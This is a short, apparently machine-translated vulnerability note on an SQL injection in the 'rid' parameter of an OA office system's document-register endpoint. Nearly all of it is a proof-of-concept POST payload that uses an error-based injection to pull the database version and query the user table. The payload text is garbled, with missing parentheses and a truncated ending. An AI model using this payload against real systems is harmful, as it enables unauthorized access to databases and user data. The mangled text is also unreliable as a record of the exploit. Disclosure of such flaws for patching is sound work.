Mastery OA system /general/document/index. php/recv/register/turn parameter rid of the SQL injection vulnerability

http://xxx/general/document/index.php/recv/register/turn post:SERVER=&rid=expselectfromselect concat0x7e7e7e,@@version,0x7e7e7e from user limit 0,1x...